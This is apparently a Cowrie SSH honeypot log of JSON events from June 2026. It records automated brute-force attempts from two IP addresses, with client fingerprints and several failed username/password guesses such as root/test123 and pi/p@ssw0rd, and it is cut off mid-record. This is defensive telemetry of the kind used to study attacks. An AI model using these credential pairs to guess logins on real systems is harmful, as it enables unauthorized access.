{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53636,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08b0d9f13e2","protocol":"ssh","message":"New connection: 45.156.87.147:53636 (10.17.0.5:22) [session: c08b0d9f13e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:56.541284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:56.544803Z","src_ip":"45.156.87.147","session":"c08b0d9f13e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:56.629121Z","src_ip":"45.156.87.147","session":"c08b0d9f13e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"rootroot","message":"login attempt [app/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:56.877893Z","src_ip":"45.156.87.147","session":"c08b0d9f13e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:57.967858Z","src_ip":"45.156.87.147","session":"c08b0d9f13e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7630546253","protocol":"ssh","message":"New connection: 45.156.87.147:56352 (10.17.0.5:22) [session: 9b7630546253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:02.147404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:02.164586Z","src_ip":"45.156.87.147","session":"9b7630546253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:02.246612Z","src_ip":"45.156.87.147","session":"9b7630546253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:02.498212Z","src_ip":"45.156.87.147","session":"9b7630546253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:03.626021Z","src_ip":"45.156.87.147","session":"9b7630546253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36046,"dst_ip":"159.203.135.109","dst_port":22,"session":"658ffe41bf52","protocol":"ssh","message":"New connection: 103.172.78.219:36046 (159.203.135.109:22) [session: 658ffe41bf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:06.330475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:06.334667Z","src_ip":"103.172.78.219","session":"658ffe41bf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:06.585543Z","src_ip":"103.172.78.219","session":"658ffe41bf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lemon","message":"login attempt [root/lemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:07.329352Z","src_ip":"103.172.78.219","session":"658ffe41bf52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56374,"dst_ip":"10.17.0.5","dst_port":22,"session":"01997f3d4693","protocol":"ssh","message":"New connection: 45.156.87.147:56374 (10.17.0.5:22) [session: 01997f3d4693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:08.006093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:08.010984Z","src_ip":"45.156.87.147","session":"01997f3d4693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:08.111712Z","src_ip":"45.156.87.147","session":"01997f3d4693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:08.415981Z","src_ip":"45.156.87.147","session":"01997f3d4693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:08.578527Z","src_ip":"103.172.78.219","session":"658ffe41bf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:09.501428Z","src_ip":"45.156.87.147","session":"01997f3d4693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55678,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f147c6371be","protocol":"ssh","message":"New connection: 45.156.87.147:55678 (10.17.0.5:22) [session: 4f147c6371be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:13.795135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:13.801908Z","src_ip":"45.156.87.147","session":"4f147c6371be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:13.885208Z","src_ip":"45.156.87.147","session":"4f147c6371be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:14.251050Z","src_ip":"45.156.87.147","session":"4f147c6371be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:15.383320Z","src_ip":"45.156.87.147","session":"4f147c6371be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4422d085a9d","protocol":"ssh","message":"New connection: 45.156.87.147:36638 (10.17.0.5:22) [session: f4422d085a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:19.504480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:19.508237Z","src_ip":"45.156.87.147","session":"f4422d085a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:19.591339Z","src_ip":"45.156.87.147","session":"f4422d085a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:19.862154Z","src_ip":"45.156.87.147","session":"f4422d085a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:20.945730Z","src_ip":"45.156.87.147","session":"f4422d085a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36640,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ebf5207cd65","protocol":"ssh","message":"New connection: 45.156.87.147:36640 (10.17.0.5:22) [session: 4ebf5207cd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:25.238126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:25.244422Z","src_ip":"45.156.87.147","session":"4ebf5207cd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:25.325618Z","src_ip":"45.156.87.147","session":"4ebf5207cd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:25.572480Z","src_ip":"45.156.87.147","session":"4ebf5207cd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:26.656693Z","src_ip":"45.156.87.147","session":"4ebf5207cd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58344,"dst_ip":"10.17.0.5","dst_port":22,"session":"8efb85ebfd8a","protocol":"ssh","message":"New connection: 45.156.87.147:58344 (10.17.0.5:22) [session: 8efb85ebfd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:30.836806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:30.839655Z","src_ip":"45.156.87.147","session":"8efb85ebfd8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:30.920195Z","src_ip":"45.156.87.147","session":"8efb85ebfd8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:31.168289Z","src_ip":"45.156.87.147","session":"8efb85ebfd8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:32.252039Z","src_ip":"45.156.87.147","session":"8efb85ebfd8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58356,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e3287c69510","protocol":"ssh","message":"New connection: 45.156.87.147:58356 (10.17.0.5:22) [session: 6e3287c69510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:36.681066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:36.684949Z","src_ip":"45.156.87.147","session":"6e3287c69510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@opens